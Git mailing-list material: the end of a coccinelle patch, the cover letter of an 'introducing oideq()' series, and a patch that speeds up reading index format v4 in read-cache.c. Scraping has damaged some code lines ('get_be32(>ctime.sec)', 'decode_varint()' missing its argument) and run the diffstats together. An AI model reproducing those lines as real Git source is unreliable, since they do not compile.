sequencer.c| 2 +-
3 files changed, 13 insertions(+), 13 deletions(-)
diff --git a/contrib/coccinelle/commit.cocci b/contrib/coccinelle/commit.cocci
index aec3345adb..c49aa558f0 100644
--- a/contrib/coccinelle/commit.cocci
+++ b/contrib/coccinelle/commit.cocci
@@ -15,10 +15,10 @@ expression c;
identifier f !~
"^(get_commit_tree|get_commit_tree_in_graph_one|load_tree_for_commit)$";
expression c;
@@
- f(...) {...
+ f(...) {<...
- c->maybe_tree
+ get_commit_tree(c)
- ...}
+ ...>}
@@
expression c;
diff --git a/contrib/coccinelle/object_id.cocci
b/contrib/coccinelle/object_id.cocci
index 09afdbf994..5869979be7 100644
--- a/contrib/coccinelle/object_id.cocci
+++ b/contrib/coccinelle/object_id.cocci
@@ -20,10 +20,10 @@ expression E1;
identifier f != oid_to_hex;
expression E1;
@@
- f(...) {...
+ f(...) {<...
- sha1_to_hex(E1->hash)
+ oid_to_hex(E1)
- ...}
+ ...>}
@@
expression E1, E2;
@@ -35,10 +35,10 @@ expression E1, E2;
identifier f != oid_to_hex_r;
expression E1, E2;
@@
- f(...) {...
+ f(...) {<...
- sha1_to_hex_r(E1, E2->hash)
+ oid_to_hex_r(E1, E2)
- ...}
+ ...>}
@@
expression E1;
@@ -50,10 +50,10 @@ expression E1;
identifier f != oidclr;
expression E1;
@@
- f(...) {...
+ f(...) {<...
- hashclr(E1->hash)
+ oidclr(E1)
- ...}
+ ...>}
@@
expression E1, E2;
@@ -65,10 +65,10 @@ expression E1, E2;
identifier f != oidcmp;
expression E1, E2;
@@
- f(...) {...
+ f(...) {<...
- hashcmp(E1->hash, E2->hash)
+ oidcmp(E1, E2)
- ...}
+ ...>}
@@
expression E1, E2;
@@ -92,10 +92,10 @@ expression E1, E2;
identifier f != oidcpy;
expression E1, E2;
@@
- f(...) {...
+ f(...) {<...
- hashcpy(E1->hash, E2->hash)
+ oidcpy(E1, E2)
- ...}
[PATCH 0/9] introducing oideq()
This is a follow-up to the discussion in: https://public-inbox.org/git/20180822030344.ga14...@sigill.intra.peff.net/ The general idea is that the majority of callers don't care about actual plus/minus ordering from oidcmp() and hashcmp(); they just want to know if two oids are equal. The stricter equality check can be optimized better by the compiler. Due to the simplicity of the current code and our inlining, the compiler can usually figure this out for now. So I wouldn't expect this patch to actually improve performance right away. But as that discussion shows, we are likely to take a performance hit as we move to more runtime determination of the_hash_algo parameters. Having these callers use the more strict form will potentially help us recover that. So in that sense we _could_ simply punt on this series until then (and it's certainly post-v2.19 material). But I think it's worth doing now, simply from a readability/annotation standpoint. IMHO the resulting code is more clear (though I've long since taught myself to read !foocmp() as equality). If we do punt, patch 1 could still be picked up now, as it's a related cleanup that stands on its own. The diffstat is scary, but the vast majority of that is purely mechanical via coccinelle. There's some discussion in the individual patches. We also don't _have_ to convert all sites now. I strongly suspect that only a few calls are actual measurable bottlenecks (the one in lookup_object() is the one I was primarily interested in). But it's just as easy to do it all at once with coccinelle, rather than try to measure each one (and once we add the coccinelle patches, we have to convert everything, or "make coccicheck" will nag people to do so). I didn't bother to hold back changes for any topics in flight. There are a handful of conflicts with "pu", but they're mostly trivial. The only big one is due to some code movement in ds/reachable. But though the conflict is big, the resolution is still easy (you can even just take the other side and "make coccicheck" to do it automatically). [1/9]: coccinelle: use <...> for function exclusion [2/9]: introduce hasheq() and oideq() [3/9]: convert "oidcmp() == 0" to oideq() [4/9]: convert "hashcmp() == 0" to hasheq() [5/9]: convert "oidcmp() != 0" to "!oideq()" [6/9]: convert "hashcmp() != 0" to "!hasheq()" [7/9]: convert hashmap comparison functions to oideq() [8/9]: read-cache: use oideq() in ce_compare functions [9/9]: show_dirstat: simplify same-content check bisect.c | 6 ++-- blame.c| 8 ++--- builtin/am.c | 2 +- builtin/checkout.c | 2 +- builtin/describe.c | 10 +++--- builtin/diff.c | 2 +- builtin/difftool.c | 4 +-- builtin/fast-export.c | 2 +- builtin/fetch.c| 6 ++-- builtin/fmt-merge-msg.c| 6 ++-- builtin/index-pack.c | 8 ++--- builtin/log.c | 6 ++-- builtin/merge-tree.c | 2 +- builtin/merge.c| 6 ++-- builtin/pack-objects.c | 4 +-- builtin/pull.c | 4 +-- builtin/receive-pack.c | 4 +-- builtin/remote.c | 2 +- builtin/replace.c | 6 ++-- builtin/rm.c | 2 +- builtin/show-branch.c | 6 ++-- builtin/tag.c | 2 +- builtin/unpack-objects.c | 4 +-- builtin/update-index.c | 4 +-- bulk-checkin.c | 2 +- bundle.c | 2 +- cache-tree.c | 2 +- cache.h| 22 + combine-diff.c | 4 +-- commit-graph.c | 10 +++--- commit.c | 2 +- connect.c | 2 +- contrib/coccinelle/commit.cocci| 4 +-- contrib/coccinelle/object_id.cocci | 50 -- diff-lib.c | 4 +-- diff.c | 23 ++ diffcore-break.c | 2 +- diffcore-rename.c | 2 +- dir.c | 6 ++-- fast-import.c | 10 +++--- fetch-pack.c | 2 +- http-push.c| 2 +- http-walker.c | 4 +-- http.c | 2 +- log-tree.c | 6 ++-- match-trees.c | 2 +- merge-recursive.c | 4 +-- notes-merge.c | 24 +++--- notes.c| 8 ++--- object.c | 2 +- oidmap.c | 12 +++ pack-check.c | 6 ++-- pack-objects.c | 2 +- pack-write.c
[PATCH] read-cache.c: optimize reading index format v4
Index format v4 requires some more computation to assemble a path
based on a previous one. The current code is not very efficient
because
- it doubles memory copy, we assemble the final path in a temporary
first before putting it back to a cache_entry
- strbuf_remove() in expand_name_field() is not exactly a good fit
for stripping a part at the end, _setlen() would do the same job
and is much cheaper.
- the open-coded loop to find the end of the string in
expand_name_field() can't beat an optimized strlen()
This patch avoids the temporary buffer and writes directly to the new
cache_entry, which addresses the first two points. The last point
could also be avoided if the total string length fits in the first 12
bits of ce_flags, if not we fall back to strlen().
Running "test-tool read-cache 100" on webkit.git (275k files), reading
v2 only takes 4.226 seconds, while v4 takes 5.711 seconds, 35% more
time. The patch reduces read time on v4 to 4.319 seconds.
PS. I notice that v4 does not pad to align entries at 4 byte boundary
like v2/v3. This could cause a slight slow down on x86 and segfault on
some other platforms. We need to fix this in v5 when we introduce
SHA-256 support in the index.
Signed-off-by: Nguyễn Thái Ngọc Duy
---
read-cache.c | 124 +++
1 file changed, 56 insertions(+), 68 deletions(-)
diff --git a/read-cache.c b/read-cache.c
index 7b1354d759..5c04c8f200 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -1713,63 +1713,16 @@ int read_index(struct index_state *istate)
return read_index_from(istate, get_index_file(), get_git_dir());
}
-static struct cache_entry *cache_entry_from_ondisk(struct mem_pool *mem_pool,
- struct ondisk_cache_entry
*ondisk,
- unsigned int flags,
- const char *name,
- size_t len)
-{
- struct cache_entry *ce = mem_pool__ce_alloc(mem_pool, len);
-
- ce->ce_stat_data.sd_ctime.sec = get_be32(>ctime.sec);
- ce->ce_stat_data.sd_mtime.sec = get_be32(>mtime.sec);
- ce->ce_stat_data.sd_ctime.nsec = get_be32(>ctime.nsec);
- ce->ce_stat_data.sd_mtime.nsec = get_be32(>mtime.nsec);
- ce->ce_stat_data.sd_dev = get_be32(>dev);
- ce->ce_stat_data.sd_ino = get_be32(>ino);
- ce->ce_mode = get_be32(>mode);
- ce->ce_stat_data.sd_uid = get_be32(>uid);
- ce->ce_stat_data.sd_gid = get_be32(>gid);
- ce->ce_stat_data.sd_size = get_be32(>size);
- ce->ce_flags = flags & ~CE_NAMEMASK;
- ce->ce_namelen = len;
- ce->index = 0;
- hashcpy(ce->oid.hash, ondisk->sha1);
- memcpy(ce->name, name, len);
- ce->name[len] = '\0';
- return ce;
-}
-
-/*
- * Adjacent cache entries tend to share the leading paths, so it makes
- * sense to only store the differences in later entries. In the v4
- * on-disk format of the index, each on-disk cache entry stores the
- * number of bytes to be stripped from the end of the previous name,
- * and the bytes to append to the result, to come up with its name.
- */
-static unsigned long expand_name_field(struct strbuf *name, const char *cp_)
-{
- const unsigned char *ep, *cp = (const unsigned char *)cp_;
- size_t len = decode_varint();
-
- if (name->len < len)
- die("malformed name field in the index");
- strbuf_remove(name, name->len - len, len);
- for (ep = cp; *ep; ep++)
- ; /* find the end */
- strbuf_add(name, cp, ep - cp);
- return (const char *)ep + 1 - cp_;
-}
-
static struct cache_entry *create_from_disk(struct mem_pool *mem_pool,
struct ondisk_cache_entry *ondisk,
unsigned long *ent_size,
- struct strbuf *previous_name)
+ const struct cache_entry
*previous_ce)
{
struct cache_entry *ce;
size_t len;
const char *name;
unsigned int flags;
+ size_t strip_len;
/* On-disk flags are just 16 bits */
flags = get_be16(>flags);
@@ -1782,28 +1735,61 @@ static struct cache_entry *create_from_disk(struct
mem_pool *mem_pool,
extended_flags = get_be16(>flags2) << 16;
/* We do not yet understand any bit out of CE_EXTENDED_FLAGS */
if (extended_flags & ~CE_EXTENDED_FLAGS)
- die("Unknown index entry format %08x", extended_flags);
+ die(_("unknown index entry format %08x"),
extended_flags);
flags |= extended_flags;
name = ondisk2->name;
}
else
name = ondisk->name;
- if (!previous_name) {
- /* v3 and earlier */
- if
